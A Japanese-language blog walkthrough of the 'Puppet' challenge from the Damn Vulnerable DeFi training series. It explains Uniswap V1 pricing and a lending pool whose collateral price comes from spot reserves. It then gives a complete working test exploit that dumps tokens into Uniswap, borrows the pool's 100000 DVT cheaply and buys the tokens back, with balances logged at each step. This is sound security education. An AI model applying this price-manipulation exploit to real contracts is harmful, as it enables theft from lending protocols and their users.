moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (八) - Puppet

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/8.html

問題の説明:

DVT トークンの貸出サービスを提供する貸出プールがありますが、担保として価値の 2 倍の ETH を預ける必要があります。現在、このプールには 100000 DVT があります。

UniswapV1 には ETH-DVT の取引ペアがあり、10 ETH と 10 DVT があります。

現在、あなたは 25 ETH と 1000 DVT を持っています。あなたは貸出プール内のすべてのトークンを盗む必要があります。

貸出契約 PuppetPool.sol が提供する貸出機能は以下の通りです。

// DVT を借りるが、前提として同等の ETH の 2 倍の価値を預ける必要がある
function borrow(uint256 borrowAmount) public payable nonReentrant {
    // 預ける必要のある ETH の数量を計算
    uint256 depositRequired = calculateDepositRequired(borrowAmount);
    require(msg.value >= depositRequired, "担保が不十分です");

    // 多く預けた ETH を返還
    if (msg.value > depositRequired) {
        payable(msg.sender).sendValue(msg.value - depositRequired);
    }

    // msg.sender が預けた ETH の数量を保存
    deposits[msg.sender] = deposits[msg.sender] + depositRequired;

    // DVT トークンを msg.sender に転送
    require(token.transfer(msg.sender, borrowAmount), "転送に失敗しました");

    emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

このメソッドは主に以下のことを行います:

  • 借りる DVT の数量に基づいて、預ける必要のある ETH の数量 depositRequired を計算します。
  • 呼び出し時に預けた ETH の数量が depositRequired より大きいことを確認し、もし多く預けた場合はその差額を返還します。
  • 預けた ETH の数量を保存し、DVT を借り出します。

預ける必要のある ETH の数量は、uniswapv1 のペア契約 ETH-DVT の流動性に基づいて計算されます。ここでは、uniswapv1 の契約とそのメソッドについて簡単に紹介します。

2 種類の契約があります:

  • Factory 工場契約は、ペア契約を作成し、デプロイするために使用されます。コアメソッドは createExchange(token: address): address で、ETHtoken のペア契約を作成し、デプロイし、ペア契約のアドレスを返します。

  • Exchange 取引契約、またはペア契約です。v1 バージョンでは、ETHToken の取引ペアのみが存在し、TokenToken の取引ペアは存在しません。

ファクトリー契約を通じてペア契約が作成されると、メソッド addLiquidity を呼び出して流動性を追加できます。つまり、TokenETH をペア契約に預け入れ、流動性提供者は流動性を提供する証明として LP token を取得します。

@payable
addLiquidity(
    min_liquidity: uint256,
    max_tokens: uint256,
    deadline: uint256
): uint256

このメソッドを呼び出す際には、パラメータに加えて ETH を送信する必要があります。パラメータの詳細は以下の通りです:

  • min_liquidity 流動性提供者が期待する最小の LP token 数量で、最終的に得られる数量がこの値より少ない場合、取引はロールバックされます。
  • max_tokens 流動性提供者が提供したい最大トークン数量で、計算されたトークン数量がこの値を超える場合、取引はロールバックされます。
  • deadline 流動性提供の締切時間です。

ペア契約に流動性があると、他のトレーダーは取引を行うことができます。中央集権型取引所とは異なり、取引価格はオーダーブックの最新の取引価格によって決まります。uniswap の取引価格は恒常的な積の公式に基づいて計算されます。

恒常的な積の公式:k=x×y恒常的な積の公式:k = x \times y

ここで xxyy はペアの 2 つの通貨の準備量です。

ペア契約 ETH-USDT があり、ETH に 10 個が xx として、USDT に 100 個が yy として存在すると仮定します。したがって k=10×100=1000k = 10 \times 100 = 1000

この時、Δx\Delta x 個の ETH を販売すると、得られる USDT の数量は Δy\Delta y となります。つまり、プール内の ETH の数量は x+Δxx + \Delta x に変わり、恒常的な積の公式に基づいて:

x×y=(x+Δx)(yΔy)yΔy=x×yx+ΔxΔy=yx×yx+ΔxΔy=y×(x+Δx)x+Δxx×yx+ΔxΔy=x×y+y×Δxx×yx+ΔxΔy=y×Δxx+Δx\begin{align*} & x \times y = (x + \Delta x)(y - \Delta y) \\ & y - \Delta y = \frac {x \times y}{x + \Delta x} \\ & \Delta y = y - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times (x + \Delta x)}{x + \Delta x} - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {x \times y + y \times \Delta x - x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \end{align*}

同様に、Δy\Delta y 個の USDT を販売すると、得られる ETH の数量は Δx=x×ΔyyΔy\Delta x = \frac {x \times \Delta y}{y - \Delta y} となります。

これは手数料がない場合の計算公式ですが、通常は 0.3% の手数料がかかり、流動性提供者が保有する LP token の割合に基づいて分配されます。

手数料が存在する場合、Δx\Delta x 個の ETH を販売すると、実際に販売される ETH の数量は Δx×(10.3%)=Δx×0.997\Delta x \times (1 - 0.3\%) = \Delta x \times 0.997 となります。uniswap は計算を簡単にするために、分子と分母を同時に 1000 倍します。

Δy=y×Δxx+ΔxΔy=y×(Δx×0.997)x+(Δx×0.997)Δy=y×(Δx×0.997)×1000x×1000+(Δx×0.997)×1000Δy=y×Δx×997x×1000+Δx×997\begin{align*} & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \\ & \Delta y = \frac {y \times (\Delta x \times 0.997)}{x + (\Delta x \times 0.997)} \\ & \Delta y = \frac {y \times (\Delta x \times 0.997) \times 1000}{x \times 1000 + (\Delta x \times 0.997) \times 1000} \\ & \Delta y = \frac {y \times \Delta x \times 997}{x \times 1000 + \Delta x \times 997} \end{align*}

uniswap の v1 バージョンでは、価格を照会するためのいくつかのメソッドが提供されています。

  • getEthToTokenInputPrice(eth_sold: uint256): uint256 売却する ETH の数量を入力し、得られる token の数量を返します。
  • getTokenToEthOutputPrice(eth_bought: uint256): uint256 購入する ETH の数量を入力し、必要な token の数量を返します。
  • getEthToTokenOutputPrice(tokens_bought: uint256): uint256 購入する token の数量を入力し、必要な ETH の数量を返します。
  • getTokenToEthInputPrice(tokens_sold: uint256): uint256 売却する token の数量を入力し、得られる ETH の数量を返します。

交換に関連するメソッドは以下の通りです:

  • ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256 ETH を使って token を交換します:min_tokens は期待する最小の token 数量です。このメソッドを呼び出す際に送信される ETH の数量が期待する token 数量を交換するのに不十分な場合、取引は失敗します。十分であれば、全額交換して取引を実行します。関数の戻り値は交換可能な token の数量です。
  • ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256 ETH を使って token を交換します:このメソッドを呼び出す際に送信する ETHtokens_bought 数量の token を交換するためのものです。送信する ETH の数量が多すぎる場合、余分な数量が返還されます。関数の戻り値は実際に販売された ETH の数量です。
  • tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256 token を使って ETH を交換します。
  • tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256 token を使って ETH を交換します。

問題に戻ると、貸出契約 PuppetPool.sol で預ける必要のある ETH の数量を計算するメソッド calculateDepositRequired は以下の通りです。

// 預ける必要のある eth の数量を計算
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    // 担保の価値 = 借りた数量 * 価格 * 2
    return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

// 各トークンの価値がどれだけの ETH に相当するかを計算
function _computeOraclePrice() private view returns (uint256) {
    // Uniswap ペアに基づいてトークンの価格を wei で計算
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

コードからわかるように、token の価値は uniswap のペアの 2 つの通貨の準備量から来ています。

仮にペア契約 ETH-UNI があり、100 個の ETH と 10 個の UNI があるとします。すると 1 UNI の価値は 10 ETH に相当し、各 token の価値は ETHの準備量Tokenの準備量\frac {ETH の準備量}{Token の準備量} となります。もし分母の値を増やすか分子の値を減らすことができれば、各 token の価値は低下します。

条件として、ハッカーは 25 個の ETH と 1000 DVT を持っているため、ハッカーが持っている 1000 DVT を使って ETH に交換することができます。この行動は分母の値を大幅に増加させ、分子の値を減少させます。つまり、DVT の価値は非常に低くなることを意味します。

その後、借り入れを行うと、必要な担保の ETH はごく少量で済むことになります。最後に、再び uniswap から DVT を交換します。

it('Exploit', async function () {
  const attackerCallLendingPool = this.lendingPool.connect(attacker)
  const attackerCallToken = this.token.connect(attacker)
  const attackerCallUniswap = this.uniswapExchange.connect(attacker)

  // uniswap に attacker の DVT トークンを管理させるための承認
  await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
  
  // 初期残高
  // attacker: ETH 残高 => 25
  // attacker: DVT 残高 => 1000
  // uniswap: ETH 残高 => 10
  // uniswap: DVT 残高 => 10
  
  // uniswap で DVT を使って ETH を交換
  await attackerCallUniswap.tokenToEthSwapInput(
    ATTACKER_INITIAL_TOKEN_BALANCE,
    ethers.utils.parseEther('1'),
    (await ethers.provider.getBlock('latest')).timestamp * 2
  )
  // attacker: ETH 残高 => 34.900571637914797588
  // attacker: DVT 残高 => 0
  // uniswap: ETH 残高 => 0.099304865938430984
  // uniswap: DVT 残高 => 1010

  // 必要な担保の ETH 数量を計算
  const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
  // DVT を借りる
  await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
    value: collateralCount
  })
  // collateralCount = 19.6643298887982
  // attacker: ETH 残高 => 15.236140794921379778
  // attacker: DVT 残高 => 100000.0
  // uniswap: ETH 残高 => 0.099304865938430984
  // uniswap: DVT 残高 => 1010.0

  // uniswap で ATTACKER_INITIAL_TOKEN_BALANCE 数量の DVT を交換するのに必要な ETH を計算
  const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
    gasLimit: 1e6
  })
  // payEthCount = 9.960367696933900101
  
  // DVT を交換
  await attackerCallUniswap.ethToTokenSwapOutput(
    ATTACKER_INITIAL_TOKEN_BALANCE,
    (await ethers.provider.getBlock('latest')).timestamp * 2,
    {
      value: payEthCount,
      gasLimit: 1e6
    }
  )
  // attacker: ETH 残高 => 5.275716174066780228
  // attacker: DVT 残高 => 101000.0
  // uniswap: ETH 残高 => 10.059672562872331085
  // uniswap: DVT 残高 => 10.0
})

攻撃者は uniswap を利用して価格を操作し、19.6643298887982 ETH を担保として使用して 100000 DVT を成功裏に借り出しました。しかし、直接借りる場合は、支払うコストは 200000 ETH となります。

最後に yarn puppet を実行してテストが通過しました!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。